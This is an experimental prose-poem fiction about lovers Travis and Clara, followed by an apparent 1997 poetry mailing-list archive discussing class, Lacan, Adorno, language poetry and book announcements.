"But not everyone arrives enhancing the value of the woman or man tethered like sun or moon, crackling the earth's surface, burning plains, forlorn cry of enameled llamas ..."

With one ring, Clara rings him up.

_____

Kudasai

Travis loves Clara. Clara loves Travis. There's an absent corporation. There is helpful Sven. There are questions about power. What a stock response! Travis decides none of it is true.

Directly across the street, the house slides into the water, a nuclear submarine almost ready for action.

_____

Corporate

It didn't know where it was or who it was. It didn't have a name and there was no one around to name it. Like Sartre's anti-semitism, anti-llamaism, if it didn't exist, it would have to be invented. Somewhere in the minds of men and women.

It simply _vacated_ worth from scarcity, building up from economies of plenitude and planetary grace at the end of the twentieth century. A uni- versal drain, it would have been suspicious of life, of movement not its own, of secret exchanges, mining for jewels and gold. It protected itself, circumscription, proscription; it trundled into the real smarts of people destined to see an hour into the future.

It was the enemy of lovers everywhere! Of all that was beautiful on the face of the earth! If it feared, it would have feared love! It knew no fear! It had the beauteous Clara, or did it! It was approaching Travis! There was no end to it! It could afford to wait and wait, Fukuoka-style- of-the-Golden-Seal! It had all the time in the world! Travis was in mor- tal danger! Clara, where was Clara!

She rang him up, "Don't think for a moment, Travis, that anyone has consciousness besides you and me." Knowledge is disseminated between the two of us. We tremble in the jouissance of the selves! Everyone else is stu- pid!

Travis, "Stupid?" blinked an eye. Well, not stupid, perhaps, you know me and my language. Ah, but unthinking, with blinders on. We're too far gone for that, you and me.

Travis, "Far gone?" We're at the limits, darling, looking out, looking in. It's a thin line as it is; we're getting pretty good at tight-rope. There is nothing else, do you understand? It's unthinking, though, in a differ- ent way. Think of it as a value-thief. It's all that left when plenitude and scarcity are overturned, why some of them are worth more than whole countries!

"Where are you," asked Travis, nerves shot, arms stretched to the break- ing point. Truth made him weak.

———————

Lucky Star

"these may secrete glues fixatives across the spine of the wanderers o darling emptied coffers not even coffers not even wood-logs holding shekels o darling not even monies of this world and the next o darling vertebrae of the wanderers o darling in you in this stony you in you heptagon o darling three beauty you un-knowing-travis knowing me"

the letter had read, enclosing sixteen darlings. Sven set to work. The wanderers were llamas surely. "Spine" comes from the back, perhaps a reference to cara-pace? Rogue llamas fetched no prices, the coffers were gone, rotted away - what next but world-wide currency?

Twenty-one was the voting-night-club age in Fukuoka. Everyone who was any-one would be at the Plex that night. Why, it was a holiday. He rang up Travis.

Travis thought, too many phonecalls, hello. Arrangements made, the troika car-ried both of them down Ben Eliezer. Travis saw the building had a tur- ret, watchtower, lookout for llamas and now submarines. I must be imagin- ing things. A beacon revolved on high, spitting out sumptuous code, darl- ing, dar-ling, darling. Maybe a warning or just premonition.

Inside, the chaos witnessed from a thousand movie stills, bodies tuned to 220 heartbeats a second and the local voltage. Because of the mirrors, a thousand people descended into punctuated gloom and infinity. They lost each other al-most immediately; Travis was never to see Sven, dead or a- live, again.

He moved towards what he gathered was the source, equidistant from his im-ages bounced and shattered in the impossible space. He measured himself thereby. Towards the star-chamber where everyone was twenty-one. Towards the heptagon drawn on the floor, like a bad novel where everything fits to-gether, like my life, Travis said. One, two, three, four, five, six, seven. As he rounded the corner, Clara.

———————

Ice

Ice storms whipped the plains into a second frenzy, needles feeding on the rippled ground. In Fukuoka, everything was sheen, the dim sun reflected in a million blunted images, like lost dancers of the heptagon writhing in memories of ecstasy. Bamboo tubes, set among the cacti, howled the proper notes of dead emperors, until they where shattered by blast and rind. The temperature hovered near zero, breathed in and out of it; layer after layer of ice turned streetlamps into hailstone mimicry. The moon shone blue, sun white-green; the stars were pinpricks against the frozen black backdrop of withered weather.

Howling, they danced! Fierce, they danced! Gripping each other, pulling hair by the roots, arms clawed into one another, they danced! Screaming, they danced! Fallen, scraped, bruised, they danced! Laser-blind, eyes for each other, spear-tip eyes, they danced! Travis hungered, Clara hungered, they danced, arms and legs, ripped cloth, fed, feeding, torn! Torn naked against the marrow of the floor, bone-marrow, blood-marrow! Stumbling to their feet, howling! Danced the darling dance! Danced the beauty dance! Danced the dance of death and exile! Danced the Dance of Speech and All Phenomena! Danced Being-Nothing-Time, danced the Scratch-and-Wounding- Dance, faces, arms, legs, breasts marked black-blue, trembling, ecstatic! Travis hungered, Clara hungered, danced the Proper Name! A great shout! A great SHOUT!

A GREAT SHOUT!

———————

THE GREAT SHOUT

They fell.

They fell exhausted to the floor, half-conscious, they fell soaked and blooded from scrape and scratch and bruise, Plex went silent.

Naked in the rubbish of torn clothing. On the floor they did lay there naked in their torn clothing.

Something had occurred in the empire of depletion, someone spread a thin cloth, was it llama-skin, across them. Again, indecipherable writing on the surface, above and below, shadow enumerations of cancelled transac- tions, carrying over from vacancy.

Bodies stirred, threw off their wrappings; intense flesh greeted the dancers who left silently. Lam and Pam approached, gathered Clara-Travis, helped limbs and torsos from the centripuge, now down a corridor, tunnel, backroom.

Elsewhere, Library of Bet Shearim, an unlidded eye continued to count, reticular engravings on microscopic glass slide. Such pane shatters; what was there, visioned, died on the rapidly-evaporating surface. Stentor, rotifera, flattened in agonies of starvation, asphyxiation. Now Clara and Travis are unencumbered in the lobby of a fine hotel on the other side of the city, solitary, guarded by patient llamas.

Now they will begin to speak, tell their woeful tale beneath the watchful eye. What has eye gained, what lost? Corporation trembled in first-time fearful sloth, transfixed heptagon signaled rise in universal perception. Clara said, "In order to see, one must be able to close one's eyes." Great wonders appear in darkness, hypnagogic truths, eidetic imagery close to imaginary sources. "Vision is the half of it."

"Vision is knowing how not to see."

"Vision is blind."

"Vision is knowing deference."

Corporate listening, writing scurried on piles of skins. Begins one where other leave off. "Species aren't forever," thought Travis. It takes some doing. I never knew Sven to thank him. Redolent Clara-Travis wrote and rose from sumptuous couch. Marble disappeared above into the sound of sirens, Plex on fire.

———————

Vision

"We danced," Clara said, slowly, around the couch. This was later, now it was wisdom-dance or ordinary, an ordinary in which we become once more acquainted after these many adventures. Then we knew the couch was for a purpose, half-sleepy llamas in the peaceful kingdom. We returned and slept.

"Our silver souls rose, until we exchanged them for a different color." Dark blue bodies appeared, grown from bone-marrow spine fields on a world marooned, unlike our own. The economy of need shuffled goods along field furrows, bales of raw materials, llama carapaces, bills of lading. Bone- field dark blue bureaucracies invaginated in maroon earth, black-brown commodity trails lettering the landscape.

"What was most apparent was the blindness of it all, the inconsequenti- ality." Nothing seemed to mean or matter; meaning was drained from this uncanny planet of the senses.

"Meaning was drained," Travis added, because meaning comes only with exchange, only with value-added; rob value, and meaning disappears. Pure survival requires only pipelines, jostling, inert strategy; meaning is an investment

of an entirely different kind, related to sentience. Here's where the world starts and ends; if lettering is littering, there is, literally, nothing to be said.

"Nothing but the bills of lading." In the vision, souls and trails swirled and if there had been only a singular witness, an eye that closed, whole realms would have shattered. As it was, there were cracks.

Clara continued, "There were cracks where the furrows were; we watched them widen. It was our eyes that did this, our ability to close, turn away, ignore." The more we watched, took our places among the dark blue souls, the more things began, slowly, moving out of kilter, askew, awry, ajar.

"The lid has an effect."

"It was the corporation," Travis said, "the corporation that was closing down through its awakening by our lids retreating the image of the world into occasional darkness." We became aware there were three of us, Clara- Travis, and then, this, inertness stirring, breaking itself apart, per- haps seeping into the real.

"It had to do with the llamas as well, for example, they too had eyes, the necessity of sleep, the moments of turning-aside, leaving us unguarded for a second, a minute, hour, or day. And so we awoke, the two of us leaving the vision-world now splintering, cracking into rubble - we awoke knowing corporation awoke as well, all of this, knowing only llamas."

Locked in infinite embrace, they left hotel for streets unnaturally lum- inescent in the nighttime sky. Travis could just about see the familiar words of his native language interspersed between the incomprehensible symbols - just about, then everything would fade, once more, to a world of unknown wonders.

They went back to their home in silence.

_____

In Hebrew, lama means "why," said Travis.

Exactly, said Clara, a melamid.

Soko de hanashi wa shimai desu.

Sof.

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13. megan minka lola camille roy
class & "innovative writing"
Wed 1 Oct 1997

Hi all,
I'm mostly a lurker on this list but the very interesting exchanges on race/class of the past few days has provoked me out of my closet.

Two things happened in the past few months that concerned me and made me wonder if it would be possible here in san francisco to have some sort of public forum (perhaps at new langton arts, where I am one of two literary curators) on class and "innovative writing" that would not degenerate into name calling.

One was a discussion I fell into at a party with a "innovative" poet who has been in the community here a long time. We were reflecting on how things have changed over the last fifteen years with the decline in arts funding. When I came to san francisco it was possible to have a literary community that was very stimulating from the streets so to speak. There were for example free workshops taught by Bob Gluck at Small Press Traffic. Anyone could drop in. This provided me and others with an invaluable opportunity to learn and read and talk etc etc. You could find a really smart community. NOW, however, you've got to pay for that, through poetics programs, creative writing programs etc. One of the main reasons people go to those schools is to find a stimulating literary community.

So now, even more than before, the people who are fluent in the terms and theories of "innovative poetics" are people who can afford to go into debt to the tune of tens of thousands of dollars. This is weird, folks. I don't like it at all.

The other thing that happened that concerned me was a performance poet (spoken word stuff) who protested some curatorial decisions at NLA on the basis that we were curating an in group, something she though NLA had always done.

It's true and it's not true. We've perhaps been curating more queer, minority, younger writers than in the past. That's something we're interested in. But what is true is that we curate people who all have sort of the art school type of literary education. It's like you need that to get in the door, which means $$$. That slants and distorts not only the resulting literary community but also impoverishes the relationship of the literary community to the wider community.

I'm wondering how others have dealt with these problems and tensions, specifically with relation to "innovative poetics".

camille.

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14. mark weiss

Re: Weapons named after people & military slang

Wed 1 Oct 1997

On a similar note, I'm still haunted by the image (imagined, alas--I never got to see the real thing) of the Madison Wisconsin fire of a few years ago that levelled the world's largest cheese warehouse. Apparently there was a river of molten cheese several feet thick running down one of the streets for days. The mayor told an interviewer that it wasn't funny.

Is this a new thread: Bad things that happen to food?

At 10:22 AM 10/1/97 -0700, you wrote:
>Flour dust is very combustible. It will and has expoded. A flour mill in
>Minn. went up late last of early this century. Installation artist
>recently had conscept piece for the Walker MN that involved
>conveyor belts and moving flour from room to room. It was built and the
>fire marshall never let then open. I had mentioned this up to the fire
>marshall and my father, who has a degree in chemistry and family owed
>large bakery was horrified. He was headed to the phones before
>the flipped the switch. It seems it's electrical spark that will
>cause it to explode.
>
>
>>I have no knowledge of explosives - why, I wonder, did they mix explosives
>>with flour - were they trying to harness the self-raising power?
>>
>>----------
>>| From: Kali Tal <[redacted]>
>>| Aunt Jemima: explosive mixed with flour (WWII)
>
>Offerings Project
>Send me an offer.
>URL:http://www-leland.stanford.edu/~geo/holly_crawford.html
>
>

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15. Lawrence Upton.

Re: Weapons named after people & military slang

Wed 1 Oct 1997

Thank you for that Holly. I did - I think - actually know that but it was in a remote part of my head from which there are very few connections. Much appreciated.

L

| From: Holly Crawford <[redacted]>
| To: [redacted]
| Subject: Re: Weapons named after people & military slang
| Date: 01 October 1997 18:22
|
| Flour dust is very combustible. It will and has expoded. A flour mill
in
| Minn. went up late last of early this century. Installation artist
| recently had conscept piece for the Walker MN that involved
| conveyor belts and moving flour from room to room. It was built and
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16. Aldon Nielsen
Re: That was no gentleman, that was a shrinking violet
Wed 1 Oct 1997

---

would have been in on this Stein conversation earlier, but I now have no access to email from home (hope to change that in the coming months) -- so only see my mail a few times per week --

yes, _Reading Race_ contains a now somewhat outdated discussion of _Melanctha_ -- the publisher is U of Georgia Press,,,,, and I can make a shady postal deal with anybody who can't find the volume nearby --

BUT

among the more recent relevant publications is the Fall 1996 issue of Modern Fiction Studies devoted to Stein ,, which contains, along with much else worthy of note, Lorna Smedman's article on Stein and racialized language

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17. Christopher Reiner
New book: The Grouper
Wed 1 Oct 1997

NEW from Avec Books:

The Grouper
Lissa McLaughlin
Poetry * Prose * Photographs

The unexplained coherences intrigue me, the every day exotic, how random abrasive fragments operate as structure. Something succinct and deep is expressed that cannot be said in words. --Mei-mei Berssenbrugge

In Lissa McLaughlin's drive-by America, there is more than just the view passing frame by frame outside your window. Beneath a seemingly still surface, sensory experience cuts deep. Danger lurks in many forms: gun-wielding uncles, hurricanes, nascent sexuality. Here, the sticky stuff of memory is equal parts experience and dreamscape-and what falls in between. Lissa McLaughlin reaches through the boundaries of consciousness to create a richly layered prose. -Kathy Lou Schultz

Lissa McLaughlin knows that narratives based around memories are truest to experience exactly at that moment when they know what can't be said. The pained, angry, yet often slyly humorous collection in The Grouper illustrates that memory must never pretend to understand more than it can. The starkly resonant, but finally resistant, photographs show how language can only

navigate edges of the irreducible instants of a life which words cannot finally know. In so doing, The Grouper reminds us that trauma must never be reduced to an excuse for story. -Mark Wallace

Reading The Grouper, we are "listening for the mess to speak, afraid it will." Convincingly, disturbingly, Lissa McLaughlin has "opened her mouth as far as it will go" and given us pictures of language learning "to mark physically the moment speech ruptures." What does writing become when it "refuses to enter the novel memory writes"? Page after page, in brief prose fragments and fragmented anecdotes, in photographs and jaggedly chiseled poems, McLaughlin provides a turbulent sequence of answers to this question, where "the meaning of nothing becomes more and more clear to us [as] bits of the temporal world snag and accumulate." And if the language is a "mess," it is nonetheless well made, offering not chaos but the form chaos takes when we call it writing.
-Stephen-Paul Martin

64 pages * $8.50 * ISBN: 1880713-09-8

Distributed by Small Press Distribution, and Baker & Taylor

Lissa McLaughlin has written film reviews and a children's picture book. Her fiction has appeared in _The Massachusetts Review_ , AVEC and _The Best American Short Stories_. Her previous collections (_Troubled by his Complexion_ and _Seeing the Multitudes Delayed_) were published by Burning Deck. She lives in San Francisco.

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18. John Cayley
mute & visible language
Wed 1 Oct 1997

Just two little bits of information. ?Not ?Poetry

1.

The journal, Visible Language, is now online, after their most recent issue, 31.2 on 'Interactivity, Interconnectivity and Media'

http://www.id.iit.edu/visiblelanguage

> *Includes: reviews of Boyers' _Cybercities_ and Alberto Manguel's _A History of Reading_. There is a very stimulating paper by Diana J. Gromala on 'Virtual Avatars: Subjectivity in Virtual Environments' and a very good, longer essay by Peter Storkerson and Jannie Wong on 'Hypertext and the Art of Memory' (not as specific as it might appear and a very sound, considered, rhetorically inclined analysis of the current state of the HT/Multimedia engagement).*

2.

mute 8
... has.

The digital art critique broadsheet has become a(n over-/highly-designed) glossy; a floppy, leafy storehouse of "critical/information/services"; young, net-jaded, intelligent (mostly) & fashionable Britain's answer to Mondo 2000 -- well worth a peruse by anyone engaged with these matters.

> just onut and on newstands every(w)here
> email: [redacted]
> http://www.metamute.com

- > John Cayley / Wellsweep Press
http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road
London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < - - - - - - - -
- -

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19. Safdie Joseph

Re: Race, identity, otherness, us-ness, stereotypes....

Wed 1 Oct 1997

I wanted to come back to the list, after a long absence and a new e-mail address, to wish everyone so inclined a happy (Jewish) New Year. I also recommend Kali's fairly remarkable speculations about race, Judaism, and identity yesterday -- I found them wondrous and provocative (in a good way).

At my new school we had to undergo "diversity training" last week, something akin to what Texaco executives must have had to undergo a few months back. It's much more structuralist than post-, I fear, but for what it's worth, I offer this schema that was in my "diversity packet".

ACCULTURATION
High
/
/
/
/
ETHNIC IDENTITY /
Low _____/_____ High
/
/
/
/

/
Low

(And now you have to imagine -- for lack of me being able to put them there -- an "A" in the upper left quadrant, a "B" in the upper right, a "C" in the lower right, and a "D" in the lower left, which letters correspond to categories of people called "mainstream" "bi-cultural" "traditionalist" and "counter culturist" (oh no, not that!). Anyway, the idea is that some people have high capacities to "acculturate" -- can't we all get along -- and low ethnic identities: they're mainstream. (Other, less sanguine terms, could be substituted here). High ethnicity and high acculturation would be bi-cultural, able to get along in multiple worlds, or "style-flex"; high ethnics and low acculturates would be those unable to compromise, hangers-on to their own traditions, and the last category would be those "alienated from both the ethnic and the majority culture communities." (I always thought those were the poets, but many folks on the list would disagree).

I don't know why I did this -- I hate categories myself -- just wanted to give a glimpse of what passes for official diversity these days. The Giants are tied in the ninth and I gotta go listen . . .

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20. Susan Clark
addresses anyone?
Wed 1 Oct 1997

---

hello, does anyone have addresses email and/or snail for :

PAUL KELLEY
CHRIS CORRIGAN
SCOTT BENTLEY
CAROLYN KEMP

thanks
Susan

Susan Clark
RADDLE MOON

again, if anyone is missing issues or has moved, please get in touch

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21. **James Finnegan**

Re: Race, identity, otherness, us-ness, stereotypes....

Wed 1 Oct 1997

In a message dated 97-10-01 19:27:45 EDT, you write:

> *I wanted to come back to the list, after a long absence and a new e-mail address, to wish everyone so inclined a happy (Jewish) New Year. I also recommend Kali's fairly remarkable speculations about race, Judaism, and identity yesterday -- I found them wondrous and provocative (in a good way).*
>
> *At my new school we had to undergo "diversity training" last week, something akin to what Texaco executives must have had to undergo a few months back. It's much more structuralist than post-, I fear, but for what it's worth, I offer this*
> *schema that was in my "diversity packet".*
>
> *ACCULTURATION*
> *High*
> */*
> */*
> */*
> */*
> *ETHNIC IDENTITY /*
> *Low _____/_____ High*
> */*
> */*
> */*
> */*
> */*
> *Low*
>
> *(And now you have to imagine -- for lack of me being able to put them there -- an "A" in the upper left quadrant, a "B" in the upper right, a "C" in the lower right, and a "D" in the lower left, which letters correspond to categories of people called "mainstream" "bi-cultural" "traditionalist" and "counter culturist" (oh no, not that!). Anyway, the idea is that some people have high capacities to "acculturate" -- can't we all get along -- and low ethnic identities: they're mainstream. (Other, less sanguine terms, could be substituted here). High ethnicity and high acculturation would be bi-cultural, able to get along in multiple worlds, or "style-flex"; high ethnics and low acculturates would be those unable to compromise, hangers-on to their own traditions, and the last category would be those "alienated from both the ethnic and the majority culture communities." (I always thought those were the poets, but many folks on the list would disagree).*

> *I don't know why I did this -- I hate categories myself -- just wanted to give a glimpse of what passes for official diversity these days.*

Kafka could do no better.

Finnegan

↑ Index

22. Peter Ganick
snailmail address needed
Wed 1 Oct 1997

---

for paul buck, the british poet---
pls backchannel to:
[redacted]
thanks in advance----

↑ Index

23. Mark W Scroggins
more addresses needed
Thu 2 Oct 1997

Does anyone have e-mail or snailmail addresses for Robin Purves or Peter Manson, editors of _Object Permanence_? Please backchannel. Thanks, Mark Scroggins

↑ Index

24. Tom Orange
impostures intellectuelles
Thu 2 Oct 1997

---

wow, this argument is so old hat that it's hard to believe it's actually causing a fuss somewhere. esp. in reference to lacan, against whom the argument is at least 30 yrs old, as a quick spin through michael clark's garland press bibliography wd show....t.

---------- They [Sokal and Bircmont] write: "We want to 'deconstruct' the reputation that these texts have of being difficult because they are deep. We show that if they seem incomprehensible, it is for the very good reason that they have nothing to say." And about the above-mentioned thinkers they say: "They talk abundantly of scientific theories of which they have, at best, a very vague understanding. They display a superficial erudition by throwing words at the reader in a context where they have no relevance. They demonstrate a veritable intoxication with words, combined with a superb indifference to their meaning." Jacques Lacan (a well known psychoanalyst) is

criticised for "arbitrarily mixing key words of mathematical theory, without in the least caring about their meaning." [etc. etc. etc.]

↑ Index

25. Holly Crawford

Re: Weapons named after people & military slang

Thu 2 Oct 1997

Bad things that happen to food thread: The movies Ghost Busters and Attack of the Killer Tomatoes.
H

> *On a similar note, I'm still haunted by the image (imagined, alas--I never got to see the real thing) of the Madison Wisconsin fire of a few years ago that levelled the world's largest cheese warehouse. Apparently there was a river of molten cheese several feet thick running down one of the streets for days. The mayor told an interviewer that it wasn't funny.*
>
> *Is this a new thread: Bad things that happen to food?*
>
> *At 10:22 AM 10/1/97 -0700, you wrote:*
> *Flour dust is very combustible. It will and has expoded. A flour mill in Minn. went up late last of early this century. Installation artist recently had conscept piece for the Walker MN that involved conveyor belts and moving flour from room to room. It was built and the fire marshall never let then open. I had mentioned this up to the fire marshall and my father, who has a degree in chemistry and family owed large bakery was horrified. He was headed to the phones before the flipped the switch. It seems it's electrical spark that will cause it to explode.*
>
> *I have no knowledge of explosives - why, I wonder, did they mix explosives with flour - were they trying to harness the self-raising power?*
>
> ----------
> *| From: Kali Tal <[redacted]>*
> *| Aunt Jemima: explosive mixed with flour (WWII)*
>
> *Offerings Project*
> *Send me an offer.*
> *URL:http://www-leland.stanford.edu/~geo/holly_crawford.html*

↑ Index

26. Tom Beard

Re: (Fwd) impostures intellectuelles

Thu 2 Oct 1997

> *The authors take particular exception to one of Mr Lacan's lesser known theories, in which he argues that "the erect male organ, not as itself, not even as image, but as the missing piece of the desired image, is thus equal to the square root of -1 of the highest produced meaning."*

I actually found some of Lacan's writings quite evocative in this regard (in my extremely limited reading of Lacan). I liked the links between L's use of the terms 'Real' and 'Imaginary', and their use in the mathematics of complex numbers, as well as his formulation of desire as the excess of want over need, and how this simple arithmetic led, through recursion, to what sounded like almost fractal complexity (although I can't recall the passage right now).

While L's use of the language of mathematics might be interesting poetically, I can sympathise with Sokal and Bricmont's fear that L's apparent "intoxication with words, combined with a superb indifference to their meaning" (although that sounds like as good a definition of poetry as I've heard recently) might not be all that helpful in understanding the workings of the human mind. Do the Real and Imaginary axes meet at the origin (zero) in? Does the Symbolic realm provide a third axis, and if so, does this begin to introduce quaternions, and the need for another realm? What do the various arithmetical operations represent within the mind (if i (= square root of -1) is the phallus, what do -1 and 1 become in his scheme? Is there a link between i and the "I", representing unity on the imaginary axis?).

I even vaguely considered linking Mandelbrot and Lacan in a poem to be entitled "The Fractal Geometry of Desire", but choked on the portentous title. Is the boundary between the desired and the undesired a fractal, becoming more complex (and even undecidable) the closer one inspects it?

I'm not sure what Lacan would have made of Mandelbrot. He (Lacan) seems to have displayed an almost arrogant disregard for the possibility that biology might have something to do with the mind, which is one of the reasons why I never persevered in reading Lacan, whereas Mandelbrot seems to have shown a healthy interest in a variety of arts and sciences. Was it Mandelbrot who said "Erudition is good for the soul"?

Tom Beard.

↑ Index

27. **mark weiss**
(no subject)
Thu 2 Oct 1997

Have misplaced Marjorie Perloff's snailmail address, need to send her a book. Backchannel help anyone?

↑ Index

28. **henry gould**
Re: social tumbles
Thu 2 Oct 1997

On Thu, 2 Oct 1997 10:19:35 -0700 Charles Weigl said:
[quoting Adorno:]
>"In his limitless and and implacable demands the petty-bourgeois sticks
>his chest out, identifying himself with a power he does not have,
>outdoing it in his arrogance to the point of absolute spirit and
>absolute horror. Between the grandiose sublimity embracing the whole of
>humanity--a sublimity ever ready to trample inhumanely on anything small
>as mere existence--and the coarse ostentation of bourgeois men of
>violence, there is an intimate collusion. The dignity of spiritual
>giants is prone to hollow booming laughter, exploding, smashing. When
>they say Creation, they mean the compulsive will-power with which they
>puff themselves up and intimidate all questions: from the primacy of
>practical reason it was always only a step to hatred of theory. Such
>a dynamic inheres in all idealistic movements of thought...

For the Great Left Theorists, it's always somebody ELSE's ideas that are "idealist illusions", "abstractions", "will to power", etc. Materialism and alienated labor provide the master key with which to lay out these broad-brush cliches. Doesn't seem to occur that perhaps the basic ability to generalize, synthesize, empathize, and communicate might transcend the various blinders of the various political positions - and that these tools of thought might just as well be linked with humility as arrogance. History can always be brought to bear to prove the opposite - but then what is history but the tale of the Great and their Great Deeds? - Henry Gould

↑ Index

29. **Douglas**
Re: New book: The Grouper
Thu 2 Oct 1997

Christopher,

Could I get four (4) copies for the America Awards,
and bill me for a couple of others for the bookstore.
I'll pay upon receipt.

Douglas

Christopher Reiner wrote:
>
> NEW from Avec Books:
>
> The Grouper
> Lissa McLaughlin
> Poetry * Prose * Photographs
>
> The unexplained coherences intrigue me, the every day exotic, how random
> abrasive fragments operate as structure. Something succinct and deep is
> expressed that cannot be said in words.
> --Mei-mei Berssenbrugge
>
> In Lissa McLaughlin's drive-by America, there is more than just the view
> passing frame by frame outside your window. Beneath a seemingly still
> surface, sensory experience cuts deep. Danger lurks in many forms:
> gun-wielding uncles, hurricanes, nascent sexuality. Here, the sticky stuff
> of memory is equal parts experience and dreamscape-and what falls in
> between. Lissa McLaughlin reaches through the boundaries of consciousness
> to create a richly layered prose.
> -Kathy Lou Schultz
>
> Lissa McLaughlin knows that narratives based around memories are truest to
> experience exactly at that moment when they know what can't be said. The
> pained, angry, yet often slyly humorous collection in The Grouper
> illustrates that memory must never pretend to understand more than it can.
> The starkly resonant, but finally resistant, photographs show how language
> can only navigate edges of the irreducible instants of a life which words
> cannot finally know. In so doing, The Grouper reminds us that trauma must
> never be reduced to an excuse for story.
> -Mark Wallace
>
> Reading The Grouper, we are "listening for the mess to speak, afraid it
> will." Convincingly, disturbingly, Lissa McLaughlin has "opened her mouth
> as far as it will go" and given us pictures of language learning "to mark
> physically the moment speech ruptures." What does writing become when it
> "refuses to enter the novel memory writes"? Page after page, in brief prose

> fragments and fragmented anecdotes, in photographs and jaggedly chiseled
> poems, McLaughlin provides a turbulent sequence of answers to this
> question, where "the meaning of nothing becomes more and more clear to us
> [as] bits of the temporal world snag and accumulate." And if the language
> is a "mess," it is nonetheless well made, offering not chaos but the form
> chaos takes when we call it writing.
> -Stephen-Paul Martin
>
> 64 pages * $8.50 * ISBN: 1880713-09-8
>
> Distributed by Small Press Distribution, and Baker & Taylor
>
> Lissa McLaughlin has written film reviews and a children's picture book.
> Her fiction has appeared in _The Massachusetts Review_ , AVEC and _The Best
> American Short Stories_. Her previous collections (_Troubled by his
> Complexion_ and _Seeing the Multitudes Delayed_) were published by Burning
> Deck. She lives in San Francisco.

↑ Index

30. Mark Prejsnar
Re: class & "innovative writing"
Thu 2 Oct 1997

>
> So now, even more than before, the people who are fluent in the terms
> and theories of "innovative
> poetics" are people who can afford to go into debt to the tune of
> tens of thousands of dollars. This is weird, folks. I don't like it
> at all.
>
Camille,

In my experience it has never been that overwhelmingly true, that innovative poetry people "can afford to go into debt to the tune of tens of thousands of dollars." But it sure isn't true right now of most of the poetry folks I work with. My own situation is very much working-class and barely getting by; from what I've encountered and heard, not that atypical.

Mark P.
atlanta

↑ Index

31. Charles Weigl
social tumbles
Thu 2 Oct 1997

seemed kinda strange to me that, in the ongoing (imagined?) debate between the "cold experimentalists with no leg to stand on" and the champions of some sort of warm direct-address aesthitics of "humane impulses," adorno was somehow recruited on the side of humanism and purportedly non-ideological clarity.

could this be the same teddy i know and love? a quick perusal of _minima moralia_ reassured me somewhat and i reproduce the following quote because 1) it made me chuckle and 2) it seems vaguely relevant to any assertion of straight-no-chaser "aesthetic" practices based on "obvious" principles or the idea that there is such an animal as clear communication or direct expression of "emotion."

it's from section 53, entitled "Folly of the wise"

"In his limitless and and implacable demands the petty-bourgeois sticks his chest out, identifying himself with a power he does not have, outdoing it in his arrogance to the point of absolute spirit and absolute horror. Between the grandiose sublimity embracing the whole of humanity--a sublimity ever ready to trample inhumanely on anything small as mere existence--and the coarse ostentation of bourgeois men of violence, there is an intimate collusion. The dignity of spiritual giants is prone to hollow booming laughter, exploding, smashing. When they say Creation, they mean the compulsive will-power with which they puff themselves up and intimidate all questions: from the primacy of practical reason it was always only a step to hatred of theory. Such a dynamic inheres in all idealistic movements of thought...

"The attempt to deduce the world in words from a principle is the behaviour of someone who would like to usurp power instead of resisting it...The rose-scents of Elysium, much too voluble to be credited with the experience of a single rose, smell of the tobacco-smoke in a magistrate's office, and the soulful moon on the backdrop was fashioned after the miserable oil-lamp by whose meagre light the student swots for his exam. Weakness posing as strength betrayed the thought of the allegedly rising bourgeoisie to ideology, even when the class was thundering against tyranny. In the innermost reaches of humanism, as it's very soul, there rages a frantic prisoner who, as a Fascist, turns the world into a prison."

oh that teddy: he'll make ya laugh till you cry.

↑ Index

32. simon
Re: New book: The Grouper
Thu 2 Oct 1997

Not questioning relevancy to _The Grouper_ in particular, but, Mark Wallace (you're on this list, yes?) what do you mean by "language can only navigate edges of the irreducible instans of a life which words cannot finally know"? Or rather, "language can only navigate edges of the irreducible" to take it both out of context and out of constituency.

You mean that? In general?

beth simon

↑ Index

33. Mark Wallace
language poetry bashing
Thu 2 Oct 1997

I just wanted to sound a note of support for Fredrik Hertzberg's post yesterday in response to a new round of language poetry bashing that's been appearing on the list in the last couple days. I wish I had more time to engage in discussion on this subject right now, but thankfully Frderik's post seems a greatly thoughtful response.

A couple of years back I published a piece in POETIC BRIEFS called "On Language Poetry" bashing in which I tried to detail some of the reasons behind the excessive commonness of such bashing among poets younger than the language poets. Certainly it's not common ONLY among such poets, but it takes on certain specific inflections in that context.

Jeff Hansen, editor of POETIC BRIEFS, is lurking around this list somewhere, and may still have copies of that issue available. If I had more sophisticated e-mail equipment, I'd try to append the article here. As it is, I can only suggest that you might be interested in asking Jeff if he still has copies.

Sorry to be cryptic and under the reign of the clock.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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34. Mark Wallace

oops

Thu 2 Oct 1997

I may have confused everyone in my just sent post by giving the wrong title for my own essay, which should read "On Language Poetry Bashing."

A couple of people have pointed out to me that I get titles wrong pretty commonly. I have no defense, except to say that I seem to be following the golden rule here and treating others the way I treat myself...

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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35. David Bromige

no more language-bashing

Thu 2 Oct 1997

The List should know that there is no more Language-writing. Language-writing has been disconnected from the List in the larger sense. When Bob Dylan sang for the Pope, they agreed to excommunicate Language-writing. Language-writing, a local disturbance in NYC, the Bay Area, Vancouver, Seattle, Kent State, Cambridge, and Alabama,in the 1970s and early 80s, is now a memory (and whose?) in history books, & meanwhile a number of individuals who lived thru those times continue to write. But Language-writing has left the planet, the way Imagism left the planet (except for _Poetry (Chicago)_ & various "sunday-painting" clubs) by 1929. That Language-writing parrot is a dead parrot. That parrot has been transformed into its future molecules. And so it follows that, dead & gone, Language-writing cannot exist as an object of bashery. They dont want to go on about "the tensile strength of last winter's icicles". If a poem offend thee in the present, pluck it out. But look to thine own eye, that its mote not be bigger than a beam. In short, people will have to do something else with their Oedipal longings. Sorry to be the bearer of bad tidings. But please address the fact not the messenger. Thanks, David

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36. henry g
Re: no more language-bashing
Thu 2 Oct 1997

They dont want to go
>on about "the tensile strength of last winter's icicles". If a poem offend
>thee in the present, pluck it out. But look to thine own eye, that its mote
>not be bigger than a beam. In short, people will have to do something else
>with their Oedipal longings. Sorry to be the bearer of bad tidings. But
>please address the fact not the messenger. Thanks, David

